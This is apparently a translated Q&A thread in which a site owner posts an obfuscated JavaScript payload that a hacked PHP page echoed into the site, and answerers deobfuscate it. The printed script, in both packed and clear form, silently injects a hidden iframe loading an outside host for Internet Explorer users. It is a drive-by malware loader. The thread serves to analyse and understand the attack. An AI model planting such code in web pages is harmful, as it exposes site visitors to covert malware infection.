4

最近、私は Web 攻撃の被害者でした。この攻撃は、さまざまな PHP サーバーの変数を取得し、それらを攻撃者の Web サイトに転送したようです。(訪問者/ウェブサイト、リファラー、ユーザーエージェントなどの IP) 次に、URL 要求を送信したファイルを取得し、それをソースに echo() します。

この種のリクエストがたくさんあることは承知していますが (主に貧乏人の XSS 試行として)、私は JS の経験があまりないので、ここで助けていただければ幸いです。それが何をしたかを理解するのにPHPのスクランブルを解除するのに数時間かかり、ダミーの情報を渡した後、これが返されました(ソースにエコーされていました)

<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))

この件についてお時間をいただき、ありがとうございます。

4

3 に答える 3

11

evalに置き換えるだけalertです。

以下が得られます。

function MakeFrameEx(){
    element=document.getElementById('yahoo_api');
    if(!element){
        var el=document.createElement('iframe');
        document.body.appendChild(el);
        el.id='yahoo_api';
        el.style.width='1px';
        el.style.height='1px';
        el.style.display='none';
        el.src='http://asso.25u.com/showthread.php?t=72291731'
    }
}

var ua=navigator.userAgent.toLowerCase();

if(((ua.indexOf("msie")!=-1
    &&ua.indexOf("opera")==-1
    &&ua.indexOf("webtv")==-1))
    &&ua.indexOf("windows")!=-1)
{
    var t=setTimeout("MakeFrameEx()",500);
}

alert()ダイアログで CTRL+C を実行してコンテンツを取得した後、 JS Beautifierを使用して読み取り可能なコードを取得します。


また、Firefox などの一部のブラウザには、これを自動的に行うプラグインがあることにも注意してください。一部のブラウザーでは、これが自動的に行われます (MSIE)。

于 2011-10-14T09:27:02.373 に答える
1

これは難読化されたコードでした。難読化を解除したところ、次のようになりました。

function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
    var el = document.createElement('iframe');
    document.body.appendChild(el);
    el.id = 'yahoo_api';
    el.style.width = '1px';
    el.style.height = '1px';
    el.style.display = 'none';
    el.src = 'http://asso.25u.com/showthread.php?t=72291731'
    }
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
    .indexOf("webtv") == -1))
    && ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}
于 2011-10-14T09:42:33.810 に答える
-1

難読化を解除した JavaScript コードは次のとおりです。

 function MakeFrameEx()
 {
   element=document.getElementById('yahoo_api');
   if(!element)
   {
     var el=document.createElement('iframe');
     document.body.appendChild(el);
     el.id='yahoo_api';
     el.style.width='1px';
     el.style.height='1px';
     el.style.display='none';
     el.src='http://asso.25u.com/showthread.php?t=72291731'
   }
 }
 var ua=navigator.userAgent.toLowerCase();
 if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1)
 {
 var t=setTimeout("MakeFrameEx()",500)}
于 2012-01-02T10:53:39.340 に答える